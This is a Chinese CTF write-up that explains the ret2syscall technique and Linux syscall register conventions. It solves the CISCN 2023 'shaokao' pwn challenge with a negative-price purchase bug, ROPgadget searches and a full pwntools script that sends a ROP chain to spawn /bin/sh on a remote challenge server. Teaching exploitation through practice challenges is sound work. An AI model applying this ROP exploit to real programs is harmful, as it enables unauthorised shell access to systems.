ret2syscall 即通过系统调用控制程序获得shell

Linux系统调用

过程(32位):

​ 1.把系统调用的编号存放在寄存器EAX中

​ 2.传入函数参数到相应的寄存器

​ 3.触发int 80号中断

64位:

​ 1.调用编号存放到rax中

​ 2.传参数到寄存器,前六个参数对应的寄存器: rdi rsi rdx r10 r8 r9

注意:系统调用第四个参数放在r10中,平时的函数第四个参数放在rcx

​ 3.触发syscall命令中断

各个函数的系统调用号:Linux X86架构 32 64系统调用表_32位 syscall-CSDN博客

excve函数

system函数实际上是调用excve函数,ret2syscall基本上是让程序执行execve函数

函数原型

excve("/bin/sh",NULL,NULL) 得到shell

excve在32位下系统调用号为11,在16进制下为0xb,所以eax中应该存放0xb

在传上参数,因此相应寄存器参数如下(32位)

1
2
3
4
eax = 0xb
ebx = /bin/sh
ecx = 0
edx = 0

在栈和寄存器上分布如下

2

实例分析

来源:[CISCN 2023 初赛]烧烤摊儿 | NSSCTF

分析

开启了nx保护和canary保护(canary最后没检查,跟没开一样)

题目情景是到烧烤摊买东西,直到在gaiming()这个函数中才存在溢出

3

承包摊位后可以改名调用函数,因此想办法赚钱承包即可。

发现买东西时输入没有检查,因此买负数的东西即可赚钱(卖东西(bushi )

5

输入v5后v5内的东西拷贝到name中去,因此binsh直接写在v5中就行,binsh最后要加\x00以防止系统一直往下读

之后按照ret2syscall思路向寄存器传参

1
2
3
4
5
6
7
8
ROPgadget --binary shaokao --only 'syscall' //找syscall命令
//ROPgadget --binary shaokao --only 'int' //若32位输入这条找int 80

ROPgadget --binary shaokao --only 'pop|ret' | grep 'rax' //找rax位置
ROPgadget --binary shaokao --only 'pop|ret' | grep 'rdi' //找rdi位置
ROPgadget --binary shaokao --only 'pop|ret' | grep 'rsi' //找rsi位置
ROPgadget --binary shaokao --only 'pop|ret' | grep 'rdx' //找rdx位置

64位中excve调用号位59,因此rax中传入59

注:程序内没有单独的pop rdx ; ret因此利用pop rdx ; pop rbx ; ret来传参,只不过要多一个参数

或者直接利用pop rax;pop rdx;pop rbx;ret在给rax传参数时就给rbx传好参数

4

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(log_level='debug')
#r=process('./shaokao')
r=remote('node4.anna.nssctf.cn',28570)
r.sendlineafter('>','1')
r.sendline('1')
r.sendline('-100000000')
r.sendline('4')
r.sendline('5')
#以上是想办法买下摊位
rax=0x458827
name=0x4e60f0
rdi=0x40264f
rsi=0x40a67e
rdx_rbx=0x4a404b
syscall=0x402404
payload=b'/bin/sh\x00'.ljust(0x28,b'a')
payload+=p64(rax)+p64(59)+p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(rdx_rbx)+p64(0)+p64(0)+p64(syscall)
#以下传参也可
#rax_rdx=0x4a404a
#name=0x4e60f0
#rdi=0x40264f
#rsi=0x40a67e
#rdx_rbx=0x4a404b
#syscall=0x402404
#payload=b'/bin/sh\x00'.ljust(0x28,b'a')
#payload+=p64(rax_rdx)+p64(59)+p64(0)+p64(0)+p64(rdi)+p64(name)+p64(rsi)+p64(0)+p64(syscall)
r.sendline(payload)

r.interactive()

得到flag

1